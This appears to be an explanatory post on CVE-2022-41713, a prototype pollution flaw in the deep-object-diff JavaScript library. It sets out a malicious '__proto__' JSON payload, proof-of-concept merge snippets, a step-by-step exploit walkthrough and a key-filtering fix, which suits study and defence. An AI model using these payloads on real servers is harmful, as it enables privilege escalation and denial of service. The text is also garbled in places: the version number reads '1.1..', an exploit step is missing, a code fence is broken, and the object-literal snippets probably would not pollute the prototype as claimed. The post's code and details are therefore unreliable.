In October 2022, a dangerous security flaw (CVE-2022-41713) was discovered in the popular deep-object-diff package version 1.1.. This vulnerability makes it possible for attackers to add or modify properties to any JavaScript object — including hidden, internal properties like __proto__. Let’s walk through what causes the issue, why it’s a big deal, and how attackers can exploit it, all explained for developers and non-experts alike.

What is deep-object-diff?

deep-object-diff is a small but widely-used JavaScript/Node.js library that allows easy comparison and merging of deeply nested objects. Developers use it to spot differences between objects or keep state in sync. But if used incorrectly, or with untrusted JSON input, it can open the door for attacks.

The Vulnerability: Prototype Pollution

The heart of CVE-2022-41713 is a prototype pollution flaw.

What is Prototype Pollution?

In JavaScript, every object inherits from a prototype. If attackers can edit properties of that prototype, they can poison all objects in your program. This can make security checks useless, leak secrets, or even help attackers run code they want.

Example

const victim = {};
console.log(victim.isAdmin); // undefined

// If attacker sets this:
Object.prototype.isAdmin = true;

console.log(victim.isAdmin); // true (even though we never set it)

The Problem in deep-object-diff

deep-object-diff 1.1. doesn’t block users from editing special keys like __proto__. When merging or applying changes from one object to another, it copies all keys—even dangerous ones.

That means if someone sends you this malicious JSON

{
  "__proto__": { "isAdmin": true }
}

And you merge it into a user object using deep-object-diff, you just poisioned every object in your server:

const deep = require('deep-object-diff');

// This is what an attacker sends
const update = { "__proto__": { "isAdmin": true } };

// Apply to user profile (could be any object)
let user = { name: "Bob" };

// Replace user with merged object (bad!)
let newUser = deep.merge(user, update);

// All new objects now have isAdmin:true, even if you never set it.
console.log({}.isAdmin); // true

Step-by-Step Exploit

1. Find a vulnerable server: The attacker finds a service that uses deep-object-diff 1.1. to handle user-controlled JSON (maybe a profile editor or sync API).

`json

{

"__proto__": { "bypass": "yes" }

}

`

3. Pollute prototype: The server merges this object with deep-object-diff. Object.prototype now gets a new property: bypass = "yes".
4. Abuse polluted property: The attacker (or anyone) can now skirt checks, crash the app, or trigger hidden bugs.

Real-World Consequences

- Authentication bypass: If the app checks for things like user.isAdmin, the attacker can make all users admins.
- Denial of service: By setting toString or other critical properties, attackers can break whole classes of objects.
- Data leaks: Properties set to undefined/default are suddenly real and filled with attacker data.

Here's a simple JavaScript snippet showing the problem in action

const deep = require('deep-object-diff');

// Malicious input
const evil = { "__proto__": { "own": "me" } };

// Innocent object
let innocent = { foo: "bar" };

// Merge using deep-object-diff
deep.merge(innocent, evil);

// Now, all objects have a new evil property!
console.log({}.own); // Output: "me"

Note: This happens only because deep-object-diff does not filter dangerous keys.

Fixing the Problem

The safest path: Update deep-object-diff to the latest version. Version 1.1.1 and above block merging of __proto__, constructor, and prototype.

If you can’t upgrade, filter keys before merging

function safeMerge(target, source) {
  if (source.hasOwnProperty('__proto__')) delete source.__proto__;
  // ... strip other blacklisted keys
  return deep.merge(target, source);
}

Original References

- NPM Advisory: deep-object-diff prototype pollution
- CVE Details: CVE-2022-41713
- GitHub Issue & Patch

Bottom Line

If you use deep-object-diff (or any merging library) with untrusted data, update right away. Prototype pollution is sneaky and dangerous. Always validate or sanitize keys before trusting input, and keep dependencies current.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/05/2022 01:38:00 UTC